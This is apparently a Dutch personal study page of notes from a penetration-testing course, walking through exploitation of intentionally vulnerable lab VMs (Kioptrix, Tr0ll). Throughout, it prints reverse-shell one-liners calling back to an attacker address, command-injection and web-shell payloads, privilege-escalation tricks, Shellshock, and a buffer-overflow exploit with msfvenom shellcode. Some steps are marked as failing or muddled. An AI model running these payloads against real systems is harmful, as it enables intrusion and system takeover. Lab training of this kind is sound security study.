KB » Computer » Hands-on Penetration Testing Labs 1.0

Hands-on Penetration Testing Labs 1.0

    Tweeten

Lab setup

Download een Kali 2020 van Google Drive link. Deze is speciaal door de auteur gemaakt, zodat je niet dat gezeik met sudo hebt. De Kali draait onder VirtualBox.

In de instellingen voor de machine moet je in het Network deel Adapter 1 aan NAT attachen (of aan bridged adapter). Adapter 2 moet attached zijn aan Host-Only Adapter.

Zowel user root (password toor ) als kali (password kali ) zijn gedefinieerd.


Inhoud

  1. Hands-on Labs
    1. Introduction
    2. Overview of Lab Commands and Tools
    3. Bonus Lab - Kali Linux 2020
    4. Download and Configure Kali Linux
    5. Download Vulnerable Lab VMs
    6. Kioptrix Level 1 - Enumeration and Exploitation
    7. Kioptrix Level 2 - Enumeration and Exploitation
    8. Kioptrix Level 3 - Enumeration and Exploitation
    9. Kioptrix Level 4 - Enumeration and Exploitation
    10. Kioptrix Level 5 - Enumeration and Exploitation
    11. Tr0ll 1 - Enumeration and Exploitation
    12. Tr0ll 2 - Enumeration and Exploitation
    13. Bonus Lab 1 Security Onion Lab Setup with VirtualBox
    14. Bonus Lab 2 Windows Eternalblue Vulnerable VM VirtualBox Setup
    15. Bonus Lab 3 Windows Eternalblue Exploitation and SnortPCAP Analysis
    16. Bonus Lab 4 Ubuntu Server 12.04 Vulnerable VM VirtualBox Setup
    17. Bonus Lab 5 Ubuntu Server 12.04 Heartbleed Exploitation and SnortPCAP Analysis
    18. Bonus Lab 6 SLMail Buffer Overflow Development

Meer gedetailleerde info

Overview of Lab Commands and Tools

Een reverse shell is als je bv. met Kali een Windows machine aanvalt, en op de Windows PC een shell naar de Kali creeert. Reverse shell: remote shell initiated from target to the attacker machine.

In het commando bash -i >& /dev/tcp/192.168.56.101/8080 0>&1 staat de -i voor interactief. '>&' betekent dat stdout en stderr ge-redirect worden naar de andere machine. '0>&1' betekent dat stdin gelezen worden via de verbinding.

bash -i >& /dev/tcp/192.168.56.101/8080 0>&1
This command uses bash to create a network connection with the IP address 192. 168.56.102 over port 8080. In order for this to work, the host 192.168.56.102 must have some sort of listener like netcat or Metasploit's multi/handler actively listening on port 8080. Bash -i makes an interactive instance of bash. First of all, there are three default files in bash: stdin which is standard input such as from the keyboard, stdout which is standard output such as the terminal, and stderr which is standard error, which is where errors are ouput. The file descriptors for stdin, stdout, and stderr are 0, 1, and 2 respectively. The >& causes it to send standard output and standard error to be sent through the connection /dev/tcp/192.168.56.101/8080, and 0>&1 sets standard input to be read through the connection.

Python moet geinstalleerd zijn op de target machine
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.56.102",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
This next command is a simple one liner that uses Python code to import the socket library, and initiate a network socket to the IP address and port specified within s.connect, which will connect to the listening server.

Verhaal over TTY shells.

python -c 'import pty; pty.spawn("/bin/sh")'
Let's take a look at this simple command here. This is a Python one liner to import the pty library which handles pseudo terminal utilities, and attempts to spawn a /bin/sh shell.

/bin/sh -i
This command spawns a /bin/sh shell by trying to run the command interactively with the -i switch.

7:15: netdiscover
7:35: nmap
8:05: nikto
8:20: dirb
8:50: msfconsole
9:15: burpsuite

Setting up Kali

Klik op Bestand (File) - Host Network Manager.

Als het goed is moet er VirtualBox Host-Only Ethernet Adapter staan. Zo niet, kan je er 1 maken met Netwerk (Network) - Aanmaken (Create). Onder DHCP server moet Enable staan.

Ook moet bij de Eigenschappen (Properties) van Adapter staan: Automatisch adapter instellen (Configure Adapter Automatically

Verhoog in de instellingen (System) de hoeveelheid RAM tot ongeveer de helft van wat je hebt.

Verander het Pointing Device in PS/2 Mouse

Schakel bij Network Adapter 2 in, en vul bij Attached to in: Host-only Adapter (de 1e adapter moet wel NAT zijn, voor Internet connectivity).

Haal in de sectie USB het vinkje weg bij Enable USB Controller

Je kan nu Kali starten. Als eth0 geen IP-adres heeft (na ifconfig) kan je het volgende commando doen: service smbd restart && dhclient eth0. In principe moet eth0 een adres in de 10. range hebben, eth1 in de 192. range.

Maak een snapshot, en doe dan apt-get update && apt-get upgrade -y

Importing VMs

Dubbelklik op een .OVA-file, en klik dan op Import

In de Network settings moet achter Attached to staan Host-only Adapter. De naam moet dezelfde zijn als die je in Kali hebt gekozen.

Kioptrix 1

Hier vind je een walkthrough van een ander.

Doe: netdiscover -i eth1

Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).

Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen, de -A voor host detection, etc.

1 van de open poorten is 139 (Samba) en je gebruikt Metasploit om te bepalen welke versie er draait (nmap -sV laat de versie niet zien):

msfconsole use auxiliary/scanner/smb/smb_version set RHOST 192.168.56.110 run

Als je in Google gaat zoeken naar samba exploit, evt. nog voorzien van versienummer (2.2.1a), dan kom je uit bij deze pagina van exploit-db.com

Op die pagina staat een stuk code, die moet je in een bestand in Kali plakken, met bv. de naam 10.c. Dat bestand compileer je met gcc 10.c -o 10 (naam van de output is 10).

Dat programma kan je starten (met ./10 -b 0 192.168.56.110), en dan heb je toegang tot Kioptrix1.

Kioptrix 2

Hier vind je een walkthrough van een ander.

Zet eerst proxy-instellingen in browser (127.0.0.1 en 8080). Normaal staat hij op no proxy.

Vervang de recentste Java (11?) door een oudere versie (8) met update-alternatives --config java. Bij mij werkt versie 8 juist niet.

Start dan burpsuite (4:10). Vanaf de command line moet je echt burpsuite intikken.

In de gratis versie kan je alleen temporary projecten hebben. Klik op Next en op Use Burp Defaults

Onder User Options en Display kan je evt. het lettertype vergroten (zowel in de sectie User Interface als HTTP Message Display (dialog). Je moet het programma wel herstarten.

5:30: Neem dezelfde proxy-instellingen (127.0.0.1 en 8080) als in Firefox, via tabbladen Proxy en Options. Klik op Intercept is off (tabblad Intercept).

Ga in de browser naar http://burp, en klik rechtsboven in het venster op CA Certificate om het certificaat te downloaden (klik op Save file (de file heet cacert.der).

6:35: Ga in de Preferences naar View Certificates (door in het zoekvak certificate in te tikken). Klik op Import in het tabblad Authorities.

Het certificaat zou in Downloads moeten staan. Klik op beide Trust...-checkboxes

7:14: Vervolgens kan je proberen Kioptrix2 als web server te bereiken via de browser. Helaas moet je dan een naam en password intikken.

Je kan proberen de source van de inlogpagina te bekijken, om te zien of het mechanisme heel simpel is.

Vervolgens zou je wat standaardcombinaties kunnen proberen, zoals admin, admin.

08:15: Als dat niet lukt ga je kijken naar SQL injection. Om te beginnen zet je Intercept on. Log in met iets willekeurigs, bv. test/test.

Schakel over naar Burp, waar je onder het tabblad Raw het request ziet. Rechtklik, en kies Send to Intruder. Ga dan naar het tabblad Intruder.

Klik op tabblad Positions, en dan op Clear$. Attack type moet Sniper blijven. Selecteer de username, en klik op Add$. Dan zelfde voor password.

09:14: Ga naar de Payloads tab. Zet de payloads uit het tekstdocument in je klembord, en klik op Paste. Dan klikken op Start Attack.

Op het tabblad Results kan je voor elk Request de Response bekijken. Er komen bij de resultaten maar 2 lengtes voor en de kortste (779) lijken te werken.

Selecteer 1 van die resultaten, en rechtsklik. Kies Request in browser en in original session. Zet intercepting uit.

11:45: Terug naar Firefox, en maak nieuw tabblad. Daar plak je de link uit Burp. Je krijgt dan een simpele interface om te pingen.

Wat je kan proberen is om meerdere commando's te koppelen, zoals
ping 127.0.0.1; ifconfig

Start in Kali een netcat listener:
nc -nlvp 4444, en plak het volgende in de web interface van het victim:
127.0.0.1; bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 (het IP address van Kali).

Tik dan: python -c 'import pty; pty.spawn("/bin/sh")'

16:45: Als je nu ls doet zie je o.a. het bestand pingit.php
Je hebt geen root privileges.

Tik: lsb_release -a (resultaat: CentOS), en dan
uname -a (kernel 2.6.9).

17:50: Ga in Google zoeken naar mogelijkheden tot privilege escalation. Kopieer 9542.c naar Kali. Verhuis het naar de map /var/www/html, om het toegankelijk te maken vanaf Kioptrix.

Start Apache (Kali): service apache2 start Op Kioptrix: cd /tmp en wget http://IP_address/9542.c

gcc 9542.c -o 9542,
chmod +x 9542,
./9542

Dat werkt niet, en daarna probeer je 9545.c

Kioptrix 3

Hier vind je een walkthrough van een ander.

2 open poorten, maar 22 (SSH) is zelden makkelijk te exploiteren zonder 1 of andere authentication brute force of het hebben van een private key.

Dus richt je je op poort 80, met dirb 192.168.56.xxx

Rechtsklik op de index.php in de map IP-address/Gallery, en kies Open link

Klik dan op Login. Er staat iets over LotusCMS, dus je gaat kijken of daar exploits voor zijn.

Je vindt hier (Rapid 7) een exploit waarmee je een remote shell kan creeeren.

De exploit zit in Metasploit, dus doe msfconsole, en dan use exploit/multi/http/lcms_php_exec

set RHOSTS 192.168.56.xxx, en dan show options, om te controleren dat alles goed is ingesteld.

Het standaardpad is /lcms/, en volgens de maker van de video werkt dat niet (op de exploit web pagina lijkt het wel te kunnen), en moet je set URI /index.php?system=Admin doen.

Daarna kan je run doen, en krijg je een Meterpreter shell. Tik shell, en daarna het commando python -c 'import pty; pty.spawn("/bin/bash")'

Je hebt nu een gewone command prompt, en kan bv. proberen naar root te gaan: cd /root. Maar dan blijkt dat je als gebruiker www-data die rechten niet hebt, dus je moet overgaan naar privilege escalation.

Bekijk de password file met cat /etc/passwd. De laatste 2 users zijn loneferret en dreg.

Doe cd /home en kijk wat er in de mappen dreg en loneferret zit (met ls -lah).

In de 2e map vind je een bestand om te bekijken: cat CompanyPolicy.README. Erin staat dat employees het commando sudo ht moeten doen om files te bekijken, editen, etc.

Je voert het commando uit, probeert op goed geluk 3 passwords, maar het lukt niet. Dan ga je zoeken met
find / -maxdepth 5 -name *.php -type f -exec grep -Hn password {} \; 2>/dev/null naar PHP-files met password erin.

In de lijst valt vooral 1 map op (er staat zelfs een password in: fuckeyou), en daar ga je heen met cd /home/www/kioptrix3.com/gallery, en je bekijkt een file: cat gconfig.php

Je gaat toe naar dezelfde web page waar je eerder was, en vult als user root in, en als password fuckeyou

In het linkermenu klik je op Gallery, en dan op dev_accounts. Je ziet dan 2 hashed passwords, voor de eerdergenoemde gebruikers. Die kan je proberen te ontcijferen op de site crackstation.net

De passwords zijn Mast3r en starwars. Je gaat dan weer terug naar je command prompt om te proberen onder deze users in te loggen. Begin met su loneferret

Je kan na het inloggen opnieuw sudo ht proberen, maar krijgt de melding Error opening terminal: unknown

Aangezien de SSH poort ook openstond, kan je ssh loneferret@192.168.56.xxx proberen. Na inloggen weer sudo ht, en je krijgt weer een fout: Error opening terminal: xterm-256color

Als je de error Google't, vind je op de site van Stackoverflow deze aanbeveling: export TERM=xterm. En daarna werkt sudo ht wel, en kom je in de editor ht terecht.

Je gaat je nu richten op privilege escalation. Je opent het bestand /etc/sudoers. Aan het einde van de regel voor loneferret voeg je dit toe: , /bin/sh

Als je het bestand opslaat kan je sudo /bin/sh doen, en cd /root

Een andere manier om credentials te krijgen gaat met burpsuite (17:00).

Kioptrix 4

Hier vind je een walkthrough van een ander.

Doe: netdiscover -i eth1

Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).

Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen, de -A voor host detection, etc.

Doe enum4linux IP_address. Je ziet o.a. user loneferret

Dan dirb IP_address. De directory van John is toegankelijk, en levert een inlogscherm op.

Door een enkele quote in beide velden te zetten krijg je meer info dan wanneer je normale waardes invult.

3:03: Opnieuw Burpsuite gebruiken. In Attack type gebruik je nu Battering ram. Dat gaat alle payloads met die 2 parameters tegelijk proberen.

Bij de resultaten zie je o.a. lengte 851, met code 302. Probeer Request in browser (na rechtsklikken), en In original session. Het lijkt te werken, maar je komt niet echt verder.

7:30: Probeer nu user John en password test via Burpsuite. Je gaat bij de aanval nu John laten staan en alleen bij het password de injection-waardes proberen. Je krijgt dan de melding Something went wrong, en een Member's Control Panel

Zet nu op het Options tabblad Follow redirections Always, en dan weer Start attack

Lengte 492 werkte niet, die van 1676 wel. Doe weer Request in browser. Het password van John blijkt MyNameIsJohn te zijn.

Probeer nu ssh john@IP_address, tik het password in, en je bent binnen. Je kan echter maar beperkt aantal commando's doen.

12:05: Doe echo os.system('/bin/bash'). Je bent nu uit de beperkte shell, maar nog steeds user John.

Je gaat zoeken naar hardcoded inloggegevens in .PHP-files met find / -maxdepth 5 -name *.php -type f -exec grep -Hn password {} \; 2>/dev/null . Je vindt iets in robert.php, en gaat hem bekijken met cat /var/www/robert/robert.php

Doe: ps aux | grep mysql. In de uitvoer kan je zien dat mysql als root draait.

Er zit een module in mysql die udf (user defined function) heet, en waarmee je systeemcommando's binnen mysql kan doen. Dus: login in mysql met mysql -u root

use mysql; en select * from mysql.func; (waarmee je de udf zoekt).

Met het volgende commando copieer je iets van de bin map naar de tmp map, en geeft het root permissions: select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh');

Je gaat naar de tmp directory toe: cd /tmp, en dan: ./sh

Kioptrix 5

Hier vind je een walkthrough van een ander.

Nadat je Kioptrix 5 hebt gestart moet je achter mountroot intikken: ufs:/dev/ada0p2

Doe: netdiscover -i eth1

Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).

Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen, de -A voor host detection, etc.

1:50: Poort 80 en 8080 zijn open. Als je in Firefox naar het IP-adres gaat krijg je It works. In de source code van die pagina zie je een URL staan.

2:45: Je gaat in Google zoeken naar de applicatie in die URL, pChart 2.1.3, i.c.m. met exploits. In de exploit-db(.com) vind je er verschillende, o.a. m.b.t. directory traversal.

In de location bar van Firefox pas je het stuk na "index.php" aan met het stuk uit de URL in de exploit-db (IP_address /pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd). Je krijgt dan de password file op je scherm.

4:00: Stel Firefox als proxy in, en start burpsuite. Intercept is on op tabblad Proxy, en herlaad de webpagina in Firefox. Klik rechts en Send to intruder
Ga naar tabblad Positions, klik op $Clear$, selecteer %2fetc/password en klik op Add$
Tabblad Payloads, kopieer de lange lijst met Apache files aan het eind van deze pagina in het vak (klik op Paste). Tenslotte Start attack

Lengte 223 lijkt niets op te leveren. De andere ook niet, behalve dat je ergens FreeBSD ziet.

7:10: Zet intercept weer uit, en ga dan zoeken in Google op Freebsd default configuration Apache. Je vindt dit artikel. Onder step 3, punt 9, zie je een configuratie file, en je plakt die in de url: http://(Kioptrix 5)/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

Deze hele paragraaf is nodeloos ingewikkeld. Je kan bovenste link gewoon in browser URL plakken.
7:55: Rechtsklik in het Payload tabblad, en dan Send to repeater. Op het Raw tabbblad van Repeater vervang je alles na %2f door usr/local/.../httpd.conf Klik op Go in het Request tabblad Klik rechts in het Response tabblad, en dan Show response in browser. Dan zie je de complete configuratiefile.

In de config zie je achter SetEnvIf dat alleen Mozilla 4.0 geaccepteerd wordt. Probeer als URL IP_address:8080. Dat levert Forbidden op.

9:25: Doe request nog een keer met Intercept on. Je ziet dat je user agent 5.0 hebt (op tabblad Raw, dus ga je die overal vervangen, via Match & Replace op tabblad Options. Je hoeft alleen maar een vinkje te zetten voor de regel met 4.0, en (Intercept off) de pagina te verversen. Je krijgt een pagina met de map phptax

10:05: Klik op de link. Kijk in Google of er exploits zijn voor phptax, en die zijn er. Als je naar de pagina wilt in Kali moet je wel eerst het vinkje voor 4.0 weer weghalen.

12:10: Dit request komt uit 1 van de exploits in exploit-db, en het maakt een file rce.php: http://(Kioptrix 5):8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E Je kan het commando ook in de Decoder tab van Burpsuite plakken, om de vreemde tekens te laten vertalen.

Het vinkje moet weer voor user agent 4.0, Intercept on, en dan kan je bovenstaande link in Firefox plakken. Intercept weer uit, en je zou gebruik kunnen maken van de nieuwe file: http://192.168.56.114:8080/phptax/data/rce.php?cmd=id
http://(Kioptrix 5):8080/phptax/data/rce.php?cmd=hostname levert ook iets op.

14:00: Doe eerst nc -nlvp 4445 (op Kali), en dan (target) http://192.168.56.114:8080/phptax/data/rce.php?cmd=perl%20-MIO%20-e%20%27$c=new%20IO::Socket::INET(PeerAddr,%22192.168.56.114:4445%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
Je zou nu met uname -a iets moeten zien, maar bij mij werkt het niet. Vanaf hier niet kunnen afmaken. In Lecture 9.txt is de volgorde ook anders.

Je gaat nu zoeken naar exploits voor privilege escalation, en vindt deze. Zet alle code in een file 28718.c, Je wilt de file van Kali naar Kioptrix sturen, en doet nc -nlvp 4445 < 28718.c

Zie ook lifesfun101.github.io voor walkthrough (niet veel uitleg, probeert wel meer. Op digitalcowboy.me meer uitleg.

Troll 1

1:05: O.a. poort 21 (ftp) open. Anonymous FTP en toegang tot lol.pcap

Evt. eerst FTP installeren met apt-get install ftp. Maak verbinding met ftp IP_address, haal de file op met get lol.pcap en quit

2:15: tcpdump -nnttttAr lol.pcap | less -Sr: don't resolve ports to names, change the time format, prints Ascii payload, reads the lol.pcap file sending it to less

In de output zie je ook de text file secret_stuff.txt, en de inhoud ervan doet vermoeden dat sup3rs3cr3tdirlol een directory zou kunnen zijn.

4:35: Ga in Firefox naar https://IP_address/sup3rs3cr3tdirlol, en voila, je ziet de file roflmao

Met file roflmao blijkt dat de file een Linux executable is. Je voert hem uit met chmod +x roflmao en ./roflmao. Je krijgt de melding Find address 0x0856BF to proceed, wat opnieuw een directory zou kunnen zijn (hoofdletters zijn belangrijk!!).

6:00: Weer in Firefox, en je krijgt 2 mappen: good_luck en this_folder_contains_the_password. In de 1e map staat de file which_one_lol.txt, die een lijst met users(?) bevat. Zet ze in een file met de naam usernames, bv. via knippen en plakken. In de 2e map staat een file (pass.txt) die alleen de tekst good_job:) bevat.

Poort 22 (SSH) was ook open, dus nu ga je met hydra -L usernames -p Pass.txt (Tr0ll 1 IP) ssh -t1 brute force proberen in te loggen (-t1 = 1 thread). Dit levert niets op.

patator is doorgaan beter voor brute force van SSH. Doe git clone https://github.com/lanjelot/patator.git, en dan cd /patator

Voer dan dit uit: python -W ignore patator.py ssh_login host=IP_address user=FILE0 0=/root/usernames password=Pass.txt
Het resultaat is dat in alle gevallen 'authentication failed', behalve voor user overflow
Helaas krijg ik de melding:

Traceback (most recent call last): File "patator.py", line 2863, in from impacket.dcerpc.v5.dcomrt import DCOMConnection ImportError: No module named impacket.dcerpc.v5.dcomrt

Je gaat nu proberen in te loggen met user overflow en password pass.txt: ssh overflow@(Tr0ll 1 IP) (en je bent binnen).
In werkelijkheid krijg ik eerst deze melding: The authenticity of host '192.168.56.115 (192.168.56.115)' can't be established. , maar dat schijnt te zijn omdat ik niet eerder met de host verbinding heb gemaakt. Vervolgens werkt pass.txt niet.

10:16: uname -a om de kernelversie te kunnen zien. En je wordt eruit gegooid. lsb_release -a laat zien dat version 14.04 is, en kernel is 3.13. Zoek naar privilege escalation exploits in Google: ubuntu 14.04 privilege escalation 3.13

Kopieer alle tekst die je vindt. Ga naar de webroot met cd /var/www/html, en zet de tekst in 37292.c

Start Apache op Kali: service apache2 start.

Haal op Troll1 de code op: wget http://192.168.56.101/37292.c, compileer (gcc 37292.c -o 37292), maak executable (chmod +x 37292) en voer uit.

Tr0ll 2

Eerst in Firefox proberen. Levert plaatje op en tekst "Me again. LOL". Kijk naar de source van het plaatje. Author is Tr0ll, zou username kunnen zijn.

ftp 192.168.56.107, met als user en password beide Tr0ll. ls, en je ziet de file lmao.zip, die je met get ophaalt. Helaas heeft het bestand een password nodig.

3:10: Probeer dirb. Volg de link van robots.txt (rechtsklikken). Je krijgt een lijst van directories (?). Schrijf die naar een bestand (bv. dirs), en voer die aan dirb: dirb IP_address dirs

Het blijkt dat je 4 uit de lijst kan benaderen, zoals /noob. Alle 4 leveren hetzelfde plaatje, en je gaat ze downloaden om te kijken of er iets interessants in zit. Kijk met ls -la naar de file groottes, en 1 van de 4 is iets groter.

6:00: Doe strings name.jpg, en je ziet aan het eind de tekst Look deep within y0ur_self for the answer. Natuurlijk is y0ur_self ook weer een folder, en daarbinnen staat answer.txt. Daarin staat een heleboel cryptische troep.

Plak die op 1 of andere manier in file base64. Dan: base64 --decode base64 | sort | uniq > decoded. Het resultaat lijkt op een password list.

8:00: Je gaat proberen de file lmao.zip te kraken m.b.v. deze lijst: fcrackzip -u -D -p decoded lmao.zip. Het password is ItCantReallyBeThisEasyRightLOL

Unzip van lmao.zip levert een file noob op. Dit lijkt blijkbaar op een SSH private key. Mogelijk is noob het userid.

Eerst moet je de permissions van de private key veranderen: chmod 700 noob Dan: ssh noob@(Tr0ll 2 IP) -i noob. Antwoord: TRY HARDER LOL!

10:23: Probeer hetzelfde commando weer maar met debugging: ssh -vv noob@(Tr0ll 2 IP) -i noob
Ergens in de uitvoer zie je staan Remote: Forced command. Forced commands zijn mogelijk kwetsbaar voor shellshock. Je kan dat evt. vinden door in Google Forced command vulnerability in te tikken.

Dus doe: ssh noob@(Tr0ll 2 IP) -i noob '() { :;}; echo SHELLSHOCK'
Antwoord: SHELLSHOCK
TRY HARDER LOL!
Dan: ssh noob@(Tr0ll 2 IP) -i noob '() { :;}; /bin/bash'
Je hebt nu een shell (kan je zien met id).

12:37: Genereer nu een public SSH key op Kali Linux, en voeg hem toe aan de authorized SSH keys op het target: ssh-keygen -b 2048 -t rsa
Zet hem in de default location, en geen passphrase. Je krijgt dan de private key.

Ga naar de locatie waar ie staat, en kopieer de private key. Doe op de target, waar je nog steeds limited shell hebt: echo "KEY" > .ssh/authorized_keys
Je moet nu met ssh noob@192.168.56.120 -I .ssh/id_rsa kunnen inloggen.

15:10: Nu proberen te escaleren naar root, via: find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null (zoek naar root permissions, 3 niveau's diep). Errors gaan naar /dev/null, zodat we ze niet zien. De map /nothing_to_see_here is vast interessant. Binnen de map choose_wisely zijn 3 mappen, door1, etc. In alle 3 mappen zit een bestand r00t, maar hou in de gaten dat de situatie steeds verandert. Soms heb je wel toegang, soms niet, etc. Je moet de deur kiezen die zegt dat de correct usage r00t input is.

door1 bevat het executable r00t. Je krijgt de melding dat het programma input nodig heeft (bij mij werd de verbinding verbroken en de target ge-reboot). Als je ./r00t $(python -c 'print "A" * 1000') (geen idee waarom je dat zou doen) krijg je een Segmentation fault (lijkt te wijzen op dat buffer overflow zou kunnen werken).

Je gaat nu op Kali zoeken: locate pattern_create (een Ruby script). Voer dan dit uit (gebruik het volledige metasploit pad): pattern_create.rb -l 1000 (je zoekt een manier om het executable te laten crashen). Je kopieert de 1000 characters. Doe op het target gdb r00t. Dan r (pattern from pattern_create.rb), je krijgt melding Program received signal SIGSEGV, Segmentation fault

20:00: Kopieer het adres (bv. 6a413969), en ga terug naar Kali. locate pattern_offset, en doe pattern_offset.rb -q (string from gdb)
Je krijgt: Exact match at offset 268

Nu kijken of je de EIP kunt manipuleren. Eerst weer gdb r00t, dan r $(python -c 'print "A" * 268 + "B" * 4')
Je krijgt weer Program received signal SIGSEGV, Segmentation fault, adres 0x42424242 (42 staat voor 'B'). Ga uit debugger.

22:10: env - gdb r00t
show env
unset env LINES
unset env COLUMNS
run $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "C" * 100')
info registers

Het adres achter ESP is wat je nodig hebt: 0xbffffc80. Ga uit gdb, en tik (op Kali): msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86 -e x86/shikata_ga_nai

25:55: Je krijgt deze output: buf = b"" buf += b"\xb8\x93\x80\x49\x82\xda\xcc\xd9\x74\x24\xf4\x5a\x31" buf += b"\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2" buf += b"\x66\xea\x42\xda\x11\xb9\x32\xb2\x0c\x5d\x32\xa5\x26" buf += b"\x8e\x37\x42\xb6\xb8\x98\xf0\xdf\x56\x6e\x17\x4d\x4f" buf += b"\x78\xd8\x71\x8f\x56\xba\x18\xe1\x87\x49\xb2\xfd\x80" buf += b"\xfe\xcb\x1f\xe3\x81"

Je moet alles behalve de \x.. er uit halen, zodat je dit krijgt: \xb8\x93\x80\x49\x82\xda\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2\x66\xea\x42\xda\x11\xb9\x32\xb2\x0c\x5d\x32\xa5\x26\x8e\x37\x42\xb6\xb8\x98\xf0\xdf\x56\x6e\x17\x4d\x4f\x78\xd8\x71\x8f\x56\xba\x18\xe1\x87\x49\xb2\xfd\x80\xfe\xcb\x1f\xe3\x81 Dan (op target): env - ./root $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "(MSFVENOM PAYLOAD)"')

Security Onion

OS for network security monitoring, intrusion detection, log management en threat hunting. Snort is een IDS, en Squirt een visualization tool.

Download Security Onion ISO file.

In VirtualBox New, type is Linux en Ubuntu64. Zet memory zo hoog mogelijk, want dit OS vergt veel resources.

Create virtual hard disk now, laat het type VDI, laat het dynamically, 20 GB ruimte.

Ga naar Settings, General, tabblad Advanced, en zet Shared Clipboard op Bidirectional. Zet evt. aantal processors op 4. Klik in Storage op Empty onder Controller IDE. Navigeer naar de gedownloade ISO. Zet Network Adapter 2 (er moet echt een 2e bijkomen, de 1e staat op NAT) op Host only, en klik op Advanced, achter Promiscuous Mode verander in Allow VM's.

7:13: Begin installatie (klik Start). Als de boot klaar is, dubbelklik Install SecurityOnion. Klik steeds op continue, tot installatie klaar. KLik Restart now. Er wordt gevraagd Remove installation medium, maar dat gaat automatisch, dus gewoon Enter. Maak na inloggen eerst snapshot (Machine, Take snapshot).

Devices, Insert Guest Additions CD image. Zodra klaar, open terminal, sudo reboot.

Als venster te klein is,

11:42: Dubbelklik setup op desktop.
Elastic setup: Continue
Yes, configure network interfaces
Er moeten nu 2 staan, enp0s3 en enp0s8. Je moet 3 kiezen, 8 is de sniffing interface, 3 heeft Internet connectivity.
Kies DHCP .
Yes, configure sniffing
Yes, make changes
Yes, reboot

13:15: Na reboot, opnieuw dubbelklik setup.
Elastic setup: Continue
Yes, skip network...
Evaluation
enp0s8 (should be monitored).
Create userid/password
Yes, proceed
Na heeeeeele lange tijd komen er nu een aantal dialog boxes, die je allemaal met OK kunt beantwoorden.

15:10: Maak terminal accessible from desktop.
Open terminal, tik cd Desktop, gedit terminal.desktop, en voer deze tekst in:

[Desktop Entry] Name=Terminal Exec=/usr/bin/x-terminal-emulator Terminal=true Type=Application Icon=/usr/share/icons/gnome/48x48/apps/gnome-terminal.png

Save, en dan sudo chmod +x terminal.desktop
Verander profiel terminal via Edit - Profile Preferences

17:15: Security Onion bijwerken via sudo soup
Als update klaar is, druk op Enter om te rebooten.

Als je problemen hebt in Security Onion, moet je als eerste dit doen: sudo sostat | less
De status van alle services hoort OK te zijn. Zo niet, doe dan: sudo nsm_sensor_ps-restart, let op de kolom met OK's aan de rechterkant.

20:45: Meest voorkomende probleem is dat Squert geen Snort alerts laat zien. 3 veel voorkomende oorzaken:

Je kan als volgt een test doen om te zien of Squert goed functioneert. Doe: sudo tcpreplay -l 20 -i enp0s8 -t /opt/samples/zeus-sample-1.pcap (replay van pcap met malicious traffic, net alsof het live over the wire gaat). Error messages zijn niet belangrijk. Start Squert, en voer je userid/pass in (niet dezelfde als voor Security Onion). Je zou nu alerts moeten zien van trojan activity.

Eternal blue VM setup

Ga naar Microsoft om een W7 virtual machine te downloaden, alleen zijn die niet meer te krijgen.

Stel network in op Host only adapter.

Start machine, open command prompt (administrator), start Powershell, en tik het volgende commando in: Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 1 -Force

Schakel Windows Firewall uit in het Control Panel.

Ubuntu setup

3:20: Guided - use entire disk and set up VM
No automatic updates
Yes (Install the grub boot loader?)

6:25: Set root password via sudo set passwd root
Switch to root: su root
apt-get install apache2.2-common
a2enmod ssl
service apache2 restart
mkdir /etc/apache2/ssl openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt (vragen kan je allemaal met Enter beantwoorden.

ifconfig eth1 up
dhclient eth1
ifconfig
vi /etc/apache2/sites-available/default-ssl
Voeg tussen ServerAdmin en DocumentRoot regel een regel ServerName 192.168.56.xxx:443 (adres van local host)
De SSLCertificateFile wordt /etc/apache2/ssl/webserver.crt , en de ...KeyFile wordt /etc/apache2/ssl/webserver.key
Sla de veranderingen op.

apt-get install apache2-mpm-prefork
a2ensite default-ssl
service apache2 reload

Ubuntu heartbleed

SLMail buffer overflow


Kwetsbare poorten

139 (Samba)
Kioptrix 1, m.b.v. Metasploit.
631 (CUPS)

Apache file names

